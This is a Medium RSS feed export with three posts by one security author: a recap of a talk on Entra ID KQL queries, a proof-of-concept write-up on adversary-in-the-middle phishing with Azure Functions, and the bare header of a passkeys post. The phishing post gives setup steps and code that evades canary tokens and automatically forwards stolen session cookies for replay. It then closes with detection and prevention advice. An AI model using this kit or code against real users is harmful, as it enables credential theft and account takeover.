<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nicola on Medium]]></title>
        <description><![CDATA[Stories by Nicola on Medium]]></description>
        <link>https://medium.com/@nicolasuter?source=rss-d1b46b39d2be------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*yRo56pGVcZqB73sq9wpvoA.jpeg</url>
            <title>Stories by Nicola on Medium</title>
            <link>https://medium.com/@nicolasuter?source=rss-d1b46b39d2be------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 19:37:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nicolasuter/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Mai 2024 KQL Café Recap]]></title>
            <link>https://nicolasuter.medium.com/mai-2024-kql-caf%C3%A9-recap-5f55a00c82d2?source=rss-d1b46b39d2be------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f55a00c82d2</guid>
            <category><![CDATA[azure-log-analytics]]></category>
            <category><![CDATA[entra-id]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[kql]]></category>
            <category><![CDATA[itdr]]></category>
            <dc:creator><![CDATA[Nicola]]></dc:creator>
            <pubDate>Mon, 01 Jul 2024 20:07:46 GMT</pubDate>
            <atom:updated>2024-07-02T06:15:47.052Z</atom:updated>
            <content:encoded><![CDATA[<p>In May I had the pleasure to be invited to the <a href="https://kqlcafe.github.io/website/">KQL Café</a> which is hosted by <a href="https://twitter.com/castello_johnny">Gianni Castaldi</a> &amp; <a href="https://twitter.com/alexverboon">Alex Verboon</a>. Within this format they empower people to work with KQL and share various tips and tricks. So this is not a usual blogpost but rather a summary and resource hub for the things I presented within the KQL Café.</p><h3>Recording</h3><p>You can find the full recording of the KQL Café on YoutTube.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FlKB1sfZuDio%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DlKB1sfZuDio&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FlKB1sfZuDio%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/66b82af1333b84da091364ed90a50f75/href">https://medium.com/media/66b82af1333b84da091364ed90a50f75/href</a></iframe><h3>Summary and Resources</h3><p>To make the content of my talk more accessible, you can find a summary of the individual topics, including the leveraged KQL queries and further resources as part of this post. The KQL queries were mostly consuming the Entra ID Sign-In and Audit Logs. You can forward them to your Microsoft Sentinel or Log Analytics workspace.</p><h4>What the heck is ITDR?!</h4><p>Identity Threat Detection and Response (ITDR) is currently one of my favourite topics. It’s basically a combination of the disciplines Identity and Access Management (IAM) and the cyber security disciplines detection and response. Similar to other cybersecurity topics there’s a rule of thumb: The more you invest on the preventive side to increase your identity security posture — the less effort you (hopefully) have on the detection and response side 🤞🤞. Within my talk for the KQL Café I addressed various of those ITDR topics that help you on the preventive side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*60888OoIplGMOAQ5-lir5g.png" /><figcaption>ITDR</figcaption></figure><h4>Cross Tenant Access</h4><p>Cross Tenant Access is basically when users in your Entra ID tenant access other tenants as guests or a guest user in your tenant accesses your tenant. Historically, organisations have restricted their inbound access and introduces guest user processes and maybe had a list of organisations that we’re allowed to invite guests from. Thanks to cross tenant access settings in Entra ID we can configure both the in- and outbound access on a granular basis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0fyQRLcUjkUB7iScijwu6A.png" /><figcaption>Cross Tenant Access</figcaption></figure><p>The Entra ID Sign-In logs deliver us helpful telemetry for cross tenant access. Unfortunately you’ll get only the Tenant ID and not the organisation or domain name. For this purpose you can combine KQL with PowerShell and parse the acquired Tenant IDs from the logs with the Microsoft Graph API.</p><ul><li>Query and PowerShell code: <a href="https://github.com/nicolonsky/ITDR/blob/main/Queries/Entra-Cross-Tenant-Access.md">ITDR/Queries/Entra-Cross-Tenant-Access.md at main · nicolonsky/ITDR (github.com)</a></li><li>Microsoft Graph API Ref: <a href="https://learn.microsoft.com/en-us/graph/api/tenantrelationship-findtenantinformationbydomainname?view=graph-rest-1.0&amp;tabs=http">tenantRelationship: findTenantInformationByDomainName — Microsoft Graph v1.0 | Microsoft Learn</a></li><li>Cross Tenant Access: <a href="https://learn.microsoft.com/en-us/entra/external-id/cross-tenant-access-overview">Cross-tenant access overview — Microsoft Entra External ID | Microsoft Learn</a></li></ul><h4>Conditional Access Policy Gaps</h4><p>Within the Entra ID Sign-In logs we have the ConditionalAccessStatus field, indicating the Conditional Access (CA) policy status. notApplied means no policies applied or that you might have some gaps as part of your CA deployment. Due to service dependencies and bootstrap applications some of those gaps are ‘by design’ but often this is due to lack of ‘all cloud apps’ selection or excluded accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-xWU4Slc-VKOw6mV4tNpWg.png" /></figure><p>To get meaningful results, we can leverage the Sentinel User and Entity Behavior Analytics (UEBA) table and filter out break glass and other accounts.</p><ul><li>KQL Query to identify CA gaps: <a href="https://github.com/nicolonsky/ITDR/blob/main/Queries/Entra-Conditional-Access-Not-Applied.md">ITDR/Queries/Entra-Conditional-Access-Not-Applied.md at main · nicolonsky/ITDR (github.com)</a></li><li>Excellent Microsoft 425 show explaining bootstrap apps: <a href="https://www.youtube.com/watch?v=HylR3JLUtMs">https://www.youtube.com/watch?v=HylR3JLUtMs</a></li><li>More KQL and CA: <a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/howto-conditional-access-insights-reporting">Conditional Access insights and reporting workbook — Microsoft Entra ID | Microsoft Learn</a></li></ul><h4>Conditional Access Report Only Telemetry</h4><p>Personally, I’d never approach a Conditional Access deployment without Log Analytics to first collect telemetry before enabling Conditional Access policies or making bigger changes to policies in production. With KQL we can leverage the CA policy processing result also for policies in report only mode to predict the impact.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tvQuU0o59teDXYsDaHXTPw.png" /></figure><p>The Sign-In logs contain the CA policy status for each policy in scope and allow us to predict the impact. From a KQL perspective this is also an interesting scenario as the ConditionalAccessPolicies column is a dynamic property holding an array of processed CA policies. mv-expand maps each CA policy into a new entry, allowing us to easily filter for all failed policies.</p><ul><li>KQL Query: <a href="https://github.com/nicolonsky/ITDR/blob/main/Queries/Entra-Conditional-Access-Failure-By-Policy.md">ITDR/Queries/Entra-Conditional-Access-Failure-By-Policy.md at main · nicolonsky/ITDR (github.com)</a></li></ul><h4>Conditional Access Policies Log Ingestion</h4><p>Although the Conditional Access status can aid with troubleshooting and operations of CA, this can be an unexpected driver for ingestion costs, especially if you deploy a high amount of conditional access policies in your environment.</p><p>The following KQL query visualises the data amount for the CA status in MB or GB:</p><pre>let lookback = 360d;<br>union SigninLogs, AADNonInteractiveUserSignInLogs<br>| where TimeGenerated &gt; ago(lookback)<br>| extend size = estimate_data_size(ConditionalAccessPolicies_string)<br>| extend ingestedKB = toreal(size)/1024.<br>| extend ingestedMB = toreal(ingestedKB)/1024<br>| extend ingestedGB = toreal(ingestedMB)/1024<br>| summarize CASize=sum(ingestedMB) by bin(TimeGenerated, 1d)<br>| render columnchart</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sJmfsoDjMNId_q1L1jL2rQ.png" /><figcaption>Conditional Access Policy Status Log Ingestion</figcaption></figure><p>To save some buck$ you can setup a transformation rule to project-away this information or even create a dedicated table or only retain specific policies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hyq9oQynQNcaGwtG202ZkA.png" /></figure><p>Additional information: <a href="https://learn.microsoft.com/en-us/azure/sentinel/data-transformation">Custom data ingestion and transformation in Microsoft Sentinel | Microsoft Learn</a></p><h4>Entra ID Device Attribute Tracking</h4><p>Let’s leave the beast of Conditional Access behind us and focus on a challenge where some Entra ID device attributes were missing from the Entra ID audit logs. To circumvent this gap, I leveraged a dynamic restricted management administrative unit for the particular enrollmentProfile attribute and monitored the administrative unit for changes with KQL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8iCIDalNwE8TpSHC_asLwA.png" /></figure><ul><li>KQL Query: <a href="https://github.com/nicolonsky/ITDR/blob/main/Queries/Entra-Restricted-Administrative-Unit-Device-Added.md">ITDR/Queries/Entra-Restricted-Administrative-Unit-Device-Added.md at main · nicolonsky/ITDR (github.com)</a></li><li>Administrative Units: <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/admin-units-restricted-management">Restricted management administrative units in Microsoft Entra ID (Preview) — Microsoft Entra ID | Microsoft Learn</a></li></ul><h4>Entra ID &amp; Passkeys</h4><p>Last but not least let’s tackle one of the latest and greates innovations of Entra ID — the public preview of passkeys. The FIDO alliance publishes a metadata service blob containing information about FIDO2 certified keys including their attestation guid and model information. This makes it a perfect scenario for the externaldata operator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RbZ6Q2tuy7pOggTR1RLF_g.png" /></figure><ul><li>FIDO alliance MDS blob: <a href="https://fidoalliance.org/metadata">https://fidoalliance.org/metadata</a></li><li>KQL query for enrichment: <a href="https://github.com/nicolonsky/ITDR/blob/main/Queries/Entra-Passkey-Registration.md">ITDR/Queries/Entra-Passkey-Registration.md at main · nicolonsky/ITDR (github.com)</a></li><li>Dedicated blog post to this topic: <a href="https://nicolasuter.medium.com/have-you-heard-about-passkeys-and-aaguids-4d858680248c">Have you heard about passkeys and AAGuids? | by Nicola | Medium</a></li></ul><h3>Ciao and enjoy your Coffee</h3><p>Thanks Gianni and Alex for having me and all the positive responses I got for my session. I’ll definitely enjoy the next occurrences of the KQL Café and maybe come back with a bag full of beans or new KQL skills ☕️😉.</p><p>// Nicola</p><p>P.S.: I’m adding new KQL queries and ITDR resources to my GitHub repository so don’t forget to leave a ⭐️.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f55a00c82d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AiTM Phishing with Azure Functions]]></title>
            <link>https://nicolasuter.medium.com/aitm-phishing-with-azure-functions-a1530b52df05?source=rss-d1b46b39d2be------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1530b52df05</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[entra-id]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[azure-functions]]></category>
            <dc:creator><![CDATA[Nicola]]></dc:creator>
            <pubDate>Mon, 01 Apr 2024 18:23:49 GMT</pubDate>
            <atom:updated>2024-04-02T10:00:09.998Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2rGHexNlD4iRO2hqP2zfAg.png" /></figure><p>Recently I stumbled over a nice <a href="https://zolder.io/aitm-attacks-using-cloudflare-workers/">post from Wesly Neelen</a> who built an AiTM phishing toolkit based on a cloudflare worker. Although ‘prooven’ AitM phishing toolkits such as evilginx provide more capabilities in terms of flexibility and robustness I wanted to setup my own phishing toolkit that runs serverless on Azure — based on Azure Functions to phish some Entra ID credentials and cookies.</p><h3>Advantages of serverless phishing toolkits</h3><p>Serverless platform solutions such as Cloudflare workers, AWS lambda and Azure functions provide some advantages to phishing toolkits that are server-based:</p><ul><li>No Infrastructure as a Service (IaaS) resources like virtual machines and public IP addresses are required, this allows faster deployments, easier scaling and comes with low costs</li><li>Serverless platforms often have pooled outbound IP addresses that are dynamically assigned by the cloud provider</li><li>No DNS domain name or name server entries are required as the cloud provider assigns URLs to the serverless functions</li><li>As the domain names, IP addresses and certificates are issued and managed by the cloud provider, this goes usually hand-in-hand with better reputation</li></ul><h3>Let’s do AiTM Phishing with Azure Functions</h3><h4>Demo</h4><p>The following demo provides a quick overview about the Azure AiTM Function and the replay of the cookies in an incognito browser window:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FpsfP0SO8XaM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DpsfP0SO8XaM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FpsfP0SO8XaM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/2c61ba1486f2d0726e64743cd2f7c64d/href">https://medium.com/media/2c61ba1486f2d0726e64743cd2f7c64d/href</a></iframe><p>The function app code and cookie converter is available here: <a href="https://github.com/nicolonsky/AzureAiTMFunction">nicolonsky/AzureAiTMFunction</a>.</p><h4>Deployment</h4><p>The deployment includes the provisioning of the function app via Azure portal:</p><ol><li>Select a subscription and resource group</li><li>Select a unique (fancy) name — this will be the URL used to phish users. It is also possible to change this later to a domain name you already own.</li><li>Select Node.js as Runtime stack</li><li>Select the Azure region</li><li>Select Linux as OS</li><li>Choose the tier: consumption based is sufficient</li></ol><p>These configuration options are already sufficient — further customizations aren’t required for this PoC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*qHgOBVW1Vi8P6N_roFAZ-A.png" /></figure><p>The deployment will create the following Azure resources which are the de-facto standard for function apps:</p><ul><li>Storage account</li><li>App service plan</li><li>Function app</li><li>Application Insights</li></ul><p>To configure all other things related to routing of all traffic to the function app and the function app itself we can use the Azure Function extension with VS code. Find detailed instructions within the Microsoft article: <a href="https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs-code?tabs=node-v4%2Cpython-v2%2Cisolated-process&amp;pivots=programming-language-javascript">Develop Azure Functions by using Visual Studio Code | Microsoft Learn</a>.</p><ul><li>Clone or download the <a href="https://github.com/nicolonsky/AzureAiTMFunction">nicolonsky/AzureAiTMFunction (github.com)</a> repository</li><li>Open the repository and select deploy to azure from the function app extensions workspace section by clicking on the Azure function icon</li><li>Select the subscription and function app to perform the deployment to</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fnHlkh0_4q5DXzi6Ad_bKQ.png" /></figure><ul><li>Optionally add an environment variable called TEAMS_WEBHOOK_URI that contains a teams incoming webhook to send acquired credentials and cookies to the function’s application settings:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*Oc8DkQ_zviEVOFYCHnlBEA.png" /></figure><p>In the portal the function app should now contain the deployed function and you can acquire the function URL and visit the phishing page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DAy92-ZyEPW6MDiJ9lzGqA.png" /><figcaption>Azure AiTM Function</figcaption></figure><h4>Local Development</h4><p>You can also run the function app locally with the Visual Studio Code function extension. This might be interesting for setting up a ‘local’ phishing kit, demoing and of course developing and making changes to the toolkit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nDhfMdWLzqiMdlBS5IgXgg.png" /><figcaption>Local development of the Azure Function</figcaption></figure><p>To configure local environment variables, e.g. for the teams webhook, add them within the <em>local.settings.json </em>file<em>.</em></p><h3>Bonus</h3><p>We now have an Azure function app that can be used for AiTM phishing — but let’s dig a little bit more into the possibilities.</p><h4>Defeating and Defense Evasion of Canary Tokens</h4><p>Canary tokens provide a simple but effective measure to detect AiTM phishing attacks because the web-page is not loaded under the expected URL. <a href="https://www.canarytokens.org/">https://www.canarytokens.org</a> provides free canary tokens and a prebuilt token type for Entra ID sign-in pages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rUb8iOf15rR55RdQFUezVA.png" /><figcaption>Creating a canary token is simple and effective</figcaption></figure><p>After integrating the canary token into the Entra ID company branding and re-visiting the Azure AiTM Function website with one of my user accounts, the canary token get’s immediately triggered:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4VckGiXwW7A8_eNwTCj7hQ.png" /><figcaption>Triggered Canary token</figcaption></figure><p>The canary token itself is injected into the Entra Sign-In page as an inline stylesheet as soon as the e-mail matches an Entra ID account. If you look closely, you can see that it includes a custom selector called customCssStyle:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*e5otjILmoATUirYUtlYKyg.png" /><figcaption>The canary token is embedded by Entra ID under the customCssStyle tag</figcaption></figure><p>The URL is coded into a javascript config array and delivered initially as response together with the company branding:</p><pre>// Truncated JSON response that contains the tenant branding<br>{<br>    &quot;Username&quot;: &quot;alexw@dev.nicolasuter.ch&quot;,<br>    &quot;Display&quot;: &quot;alexw@dev.nicolasuter.ch&quot;,<br>    &quot;EstsProperties&quot;: {<br>        &quot;UserTenantBranding&quot;: [<br>            {<br>                &quot;Illustration&quot;: &quot;https://aadcdn.msauthimages.net/c1c6b6c8-1wy5jajuaicpgmkn0yfjuzogszah146ft3tns6kgqnw/logintenantbranding/0/illustration?ts=638065368783987955&quot;,<br>                &quot;BackgroundColor&quot;: &quot;#000000&quot;,<br>                &quot;BoilerPlateText&quot;: &quot;&lt;p&gt;Welcome and happy development.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://tech.nicolonsky.ch\&quot; rel=\&quot;noopener noreferrer\&quot; target=\&quot;_blank\&quot;&gt;Azure AD terms of use&lt;/a&gt;&lt;/p&gt;\n&quot;,<br>              <br>                &quot;CustomizationFiles&quot;: {<br>                    // This URL contains the custom CSS being injected<br>                    &quot;customCssUrl&quot;: &quot;https://aadcdn.msauthimages.net/c1c6b6c8-1wy5jajuaicpgmkn0yfjuzogszah146ft3tns6kgqnw/logintenantbranding/0/customcss?ts=638472149364462653&quot;<br>                }<br>            }<br>        ],<br>    }<br>}</pre><p>Interestingly, after entering the password, the custom CSS is fetched again, as there is a config within the html as javascript variable. As we are in control of our Azure AiTM Function, we can simply extend the replace_response_text function and remove the customCssUrl (and include some other fancy modifications to prove that the modifications work).</p><pre>async function replace_response_text(response, upstream, original) {<br>  return (<br>    response<br>      .text()<br>      .then((text) =&gt; text.replace(new RegExp(upstream, &quot;g&quot;), original))<br>      // Extended response modification to remove custom CSS URL that triggers the canary injection<br>      .then((text) =&gt; text.replace(/&quot;customCssUrl&quot;\s*:\s*&quot;.*?&quot;/, &#39;&quot;customCssUrl&quot;: &quot;&#39; + original + &#39;&quot;&#39;))<br>      // Just for the PoC purpose we can also modify the branding response if we wanted to<br>      .then((text) =&gt; {<br>        try {<br>          const config = JSON.parse(text);<br>          // Remove custom CSS URL<br>          config.EstsProperties.UserTenantBranding[0].CustomizationFiles.customCssUrl =<br>            null;<br>          // Some more stuff to modify just as an example<br>          config.EstsProperties.UserTenantBranding[0].Illustration =<br>            &quot;https://wallpapercave.com/wp/wp9414303.jpg&quot;;<br>          config.EstsProperties.UserTenantBranding[0].BoilerPlateText =<br>            &quot;Smile - You&#39;re being 🎣&quot;;<br>          return JSON.stringify(config);<br>        } catch {<br>          return text;<br>        }<br>      })<br>  );<br>}</pre><p>Et voilà — we successfully evaded the canary token detection and also modified the wallpaper + sign-in page description (at least for the password prompt, on the MFA prompt the original branding is displayed):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zZItEaFWeXS0TdjT6Kqcwg.png" /><figcaption>Removal of the canary token and some injections</figcaption></figure><p>Of course, this would also remove any user-visible customizations but I haven’t seen many organizations who customized the Entra Sign-In page with custom CSS (despite for canary tokens).</p><h4>Hosting with Microsoft Dev Tunnels</h4><p>Instead of the Azure Function deployment we can also try to directly expose our local Function environment with Microsoft Dev Tunnels. To leverage dev tunnels we simply need a GitHub or Microsoft Account and change the visibility of the forward address to public:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jvxp8_WPTQ7hWQaCSL2NZQ.png" /><figcaption>Configured Dev Tunnel for the local AiTM Function environment</figcaption></figure><p>Unfortunately the Dev Tunnel service injects some heads-up messages that the accessed resource might be not too trustworthy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AMf5AmiYP6roHu3njPN2UA.png" /><figcaption>Initial visit of the dev tunnel</figcaption></figure><p>After bypassing the warning message we still get redirected to the local instance of the Azure AiTM function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hWEKEqoAqrVt4dn0mTeXPg.png" /><figcaption>Visiting the phishing page via Dev Tunnel</figcaption></figure><p>The actual usage of the phishing page wasn’t possible due to CORS issues caused by mismatches between the dev proxy url, localhost:7081 and login.microsoftonline.com. Mainly because of the dev tunnels warning messaged I didn’t invest more into this approach.</p><h4>Automating the Initial Access</h4><p>Instead of manually importing the cookies and replaying the session we can delegate this task to another function. This allows nearly instant session replay. Based on the logic of <a href="https://github.com/f-bader/TokenTacticsV2">TokenTactics(v2)</a> and the authorization code flow we can request a Microsoft Graph Access token for teams based on the captured cookies. The access token includes interesting OAuth 2.0 scopes such as:</p><ul><li>Files.ReadWrite.All</li><li>Mail.ReadWrite</li><li>Sites.ReadWrite.All</li></ul><p>Theoretically we could also opt-in for an Azure Portal token if we target admin accounts but I think already the above scopes provide some interesting capabilities thinking about scenarios such as dumping all mail messages or files in SharePoint and OneDrive a user has access to. For the sake of this PoC I decided to simply enumerate the phished user’s details and the tenant details which also include the registered domains:</p><p>To do so, we extend the phishing function with the following logic to call another Azure Function once we acquired the necessary tokens:</p><pre>const cookies = originalCookies.filter(<br>        (cookie) =&gt;<br>          cookie.startsWith(&quot;ESTSAUTH=&quot;) ||<br>          cookie.startsWith(&quot;ESTSAUTHPERSISTENT=&quot;) ||<br>          cookie.startsWith(&quot;SignInStateCookie=&quot;)<br>      );<br><br>      if (cookies.length == 3) {<br>        // transferring acquired cookies via HTTP post to another Azure function<br>        // Replace the URL to match the execution function<br>        fetch(&#39;http://localhost:7071/execution&#39;, {<br>          method: &quot;POST&quot;,<br>          body: JSON.stringify(cookies),<br>          headers: {<br>            &#39;content-type&#39;: &#39;application/json&#39;<br>          }<br>        })<br>      }</pre><p>And the <a href="https://github.com/nicolonsky/AzureAiTMFunction/blob/main/src/functions/execution.js">execution function</a> will do the remainder of the work to acquire a Microsoft Graph Access token via authorization code flow and directly make the Microsoft Graph API calls:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Bon5adtZEXiPg2es4Xbaw.png" /><figcaption>Automatic replay of the captured cookies</figcaption></figure><h3>Help!</h3><p>This is pretty evil, only requires ~200 lines of code and super simple to setup. What can we do to defend and protect?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*OHUYVfHPJ5FJogll" /></figure><h4>Detection capabilities</h4><p>To detect the Azure AiTM function used to phish the credentials we can leverage ‘common’ AiTM detection patterns as part of Entra ID logs such as:</p><ul><li>Empty Entra Device IDs</li><li>Sign-In originating not from a named or trusted location</li><li>The application name matches OfficeHome</li><li><strong>The Sign-In IP address originates from the Microsoft Azure IP address ranges</strong></li></ul><p>Although the IP address from Microsoft Azure IP ranges could be legitimate, e.g. from virtual machines that do not have explicit outbound connectivity methods via NAT gateway or firewall it is a good indicator for detecting the Azure AiTM function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2pP7Pczg-TE0hbSEKQh2w.png" /></figure><p>For other serverless phishing toolkits we could leverage the same technique by filtering for Sign-Ins coming from Cloudflare or AWS IP addresse ranges.</p><p>To detect the Azure IP addresses I use the Azure Service Endpoints and parse the IP address ranges. Unfortunately the IPs do not match the AppService entries or have a dedicated category for Azure Functions as this would gradually increase the confidence for detections.</p><p>You can find the detection rule within my <a href="https://github.com/nicolonsky/ITDR/blob/main/Detections/T1539.Entra.AzureAiTMPhishing.md">ITDR repository</a>. The actual replay of the session will also generate an interactive sign-in and uses the <em>Microsoft Teams</em> as app.</p><h4>Built-in detections?</h4><p>Isn’t there any risk detection from <a href="https://learn.microsoft.com/en-us/entra/id-protection/">Microsoft Entra ID Protection</a> that should raise an alert here?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/0*SaOZLlq4-xdwFYDc.jpg" /></figure><p>Indeed there were some low-risk events that got automatically remediated as the phished user performed MFA as part of the sign-in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C0e6nZ3mQ02sWsaAroCFoA.png" /><figcaption>Unfamiliar sign-in properties alert that got automatically remediated as the user performed MFA during sign-in</figcaption></figure><p>This is also visible within the previous KQL query for some sign-ins:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*O5W1iY5cNhr5TLW5D2t7aQ.png" /><figcaption>SignInLogs</figcaption></figure><p>I also assume, because the deployed Function App is within the same country and even close to the city that this also has an impact on this kind of detection.</p><p>Nevertheless, I would have guessed that the following detections should and would hit — but they didn’t:</p><ul><li><a href="https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-token">Anomalous token</a></li><li><a href="https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-browser">Suspicious browser</a></li></ul><p>If you know why — please let me know.</p><h4>Prevention capabilities</h4><p>As for all AiTM attacks the following measures have been proven effective as they prevent token issuance to the AiTM phishing toolkit:</p><ul><li>Conditional Access: Require Compliant, Entra ID (hybrid) joined or registered device via device state filter</li><li>Conditional Access: Enforcing Traffic originating from a compliant network location (Global Secure Access SSE)</li><li>Conditional Access: Enforcing Named Network Locations (as a fallback)</li><li>Leveraging phishing resistant authentication methods + enforcement via Conditional Access</li></ul><h4>Response capabilities</h4><p>Also for the response actions we can leverage the ‘standard’ AiTM activities:</p><ul><li>Revoke any sign-in and MFA sessions</li><li>Identity rogue authenticators that might have been added</li><li>Identity activity performed by the compromised accounts (Office Activity, Microsoft Graph Activity, Azure Activity)</li></ul><h3>Recap and closing notes</h3><p>After a lot of coding, learning about Azure Functions, researching other AiTM toolkits and understanding the OIDC authorization code flow in Entra I had the following “wow” moments:</p><ul><li>Deploying a serverless AiTM Phishing toolkit on Azure / other PaaS solutions is surprisingly simple</li><li>Phishing for valid Entra credentials / cookies within tenants that only have (weak) MFA such as TOTP, push, SMS or phone sign-in is very effective to get initial access</li><li>Canary tokens can be easily bypassed as Entra ID does not leave room for obfuscations of the tokens or uses built-in canary tokens for AiTM detections</li><li>When automating the session replay to conduct execution, there is no time for any kind of detections or automated response actions as adversaries can directly benefit from the captured session without manual intervention</li></ul><p>It is therefore critical to invest in the prevention and getting your Conditional Access policies right. Leverage controls like device state, authentication strengths or named locations for all scenarios possible as this will disrupt the attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*Jx_8tQo_5J6_u4IjCZ6n3Q.jpeg" /></figure><p>Big kudos to the following people who provided code samples and blogs about AiTM phishing, authorization code flow and cookies:</p><p>@wesleyneelen</p><p>@fabian_bader</p><p>@janbakker_</p><h3>Resources and Further References</h3><ul><li><a href="https://learn.microsoft.com/en-us/entra/identity/authentication/concept-authentication-web-browser-cookies">Web browser cookies used in Microsoft Entra authentication — Microsoft Entra ID | Microsoft Learn</a></li><li><a href="https://zolder.io/aitm-attacks-using-cloudflare-workers/">Building an AITM attack tool in Cloudflare Workers (174 LOC) — Zolder B.V.</a></li><li><a href="https://blog.thinkst.com/2024/01/defending-against-the-attack-of-the-cloned-websites.html">Defending against the Attack of the Clone[d website]s! — Thinkst Thoughts</a></li><li><a href="https://learn.microsoft.com/en-us/graph/permissions-reference">Microsoft Graph permissions reference — Microsoft Graph | Microsoft Learn</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1530b52df05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Have you heard about passkeys and AAGuids?]]></title>
            <link>https://nicolasuter.medium.com/have-you-heard-about-passkeys-and-aaguids-4d858680248c?source=rss-d1b46b39d2be------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d858680248c</guid>
            <category><![CDATA[azure-ad]]></category>
            <category><![CDATA[identity]]></category>
            <category><![CDATA[fido]]></category>
            <category><![CDATA[entra-id]]></category>
            <category><![CDATA[passkey]]></category>
            <dc:creator><![CDATA[Nicola]]></dc:creator>
            <pubDate>Fri, 01 Dec 2023 14:16:15 GMT</pubDate>
            <atom:updated>2023-12-01T14:28:11.560Z</atom:updated>
